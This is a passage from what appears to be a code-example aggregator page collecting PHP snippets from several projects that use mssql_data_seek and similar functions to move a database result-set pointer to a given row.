     return DB_OK;
 }
示例#23
0
 public function seek($offset)
 {
     if (!$this->offsetExists($offset)) {
         return FALSE;
     }
     return mssql_data_seek($this->result, $offset);
 }
示例#24
0
 /**
  * Seek to a specific row in a result set
  *
  * @param int    $rownum    number of the row where the data can be found
  * @return mixed MDB2_OK on success, a MDB2 error on failure
  * @access public
  */
 function seek($rownum = 0)
 {
     if ($this->rownum != $rownum - 1 && !@mssql_data_seek($this->result, $rownum)) {
         if ($this->result === false) {
             return $this->db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'resultset has already been freed', __FUNCTION__);
         } elseif (is_null($this->result)) {
             return MDB2_OK;
         }
         return $this->db->raiseError(MDB2_ERROR_INVALID, null, null, 'tried to seek to an invalid row number (' . $rownum . ')', __FUNCTION__);
     }
     $this->rownum = $rownum - 1;
     return MDB2_OK;
 }
 /**
  * @param Mixed qHandle
  * @param Number pageSize
  * @param Number page
  */
 public function seekPage($qHandle, $pageSize, $page)
 {
     $row = ($page - 1) * $pageSize;
     if ($row > 0) {
         mssql_data_seek($qHandle, $row);
     }
 }
示例#26
0
 /**
  * Seek to given row number
  * rownum is zero-based
  */
 function sql_rowseek($rownum, &$query_id)
 {
     global $cache;
     if ($query_id === false) {
         $query_id = $this->query_result;
     }
     if (isset($cache->sql_rowset[$query_id])) {
         return $cache->sql_rowseek($rownum, $query_id);
     }
     return $query_id !== false ? @mssql_data_seek($query_id, $rownum) : false;
 }
示例#27
0
 /**
  * Seek to a specific record of the result set
  *
  * @param int $row The index of the row to position to (zero-based)
  *
  * @return void
  */
 public function seek($row)
 {
     switch ($this->mode) {
         case "mysql":
             $this->result->data_seek($row);
             break;
         case "postgres":
         case "redshift":
             pg_result_seek($this->result, $row);
             break;
         case "odbc":
             # The odbc driver doesn't support seeking, so we fetch specific rows in getNextRow(), and here all we need to do is set the current position instance variable
             break;
         case "sqlite":
             $this->result->reset();
             for ($i = 0; $i < $row; $i++) {
                 $this->result->fetchArray();
             }
             break;
         case "mssql":
             mssql_data_seek($this->result, $row);
             break;
     }
     $this->position = $row;
 }
 public function seek($row)
 {
     if (!is_resource($this->handle)) {
         return false;
     }
     if ($this->mssql) {
         return mssql_data_seek($this->handle, $row);
     } else {
         user_error('MSSQLQuery::seek() not supported in sqlsrv', E_USER_WARNING);
     }
 }
示例#29
0
 /**
  * Data Seek
  *
  * Moves the internal pointer to the desired offset. We call
  * this internally before fetching results to make sure the
  * result set starts at zero.
  *
  * @param	int	$n
  * @return	bool
  */
 public function data_seek($n = 0)
 {
     return mssql_data_seek($this->result_id, $n);
 }
 /**
  * Se Mueve al resultado indicado por $number en un select
  *
  * @param int $number
  * @param resource $result_query
  * @return boolean
  */
 public function data_seek($number, $result_query = '')
 {
     if (!$result_query) {
         $result_query = $this->last_result_query;
         if (!$result_query) {
             return false;
         }
     }
     if (($success = mssql_data_seek($result_query, $number)) !== false) {
         return $success;
     } else {
         throw new KumbiaException($this->error());
     }
     return false;
 }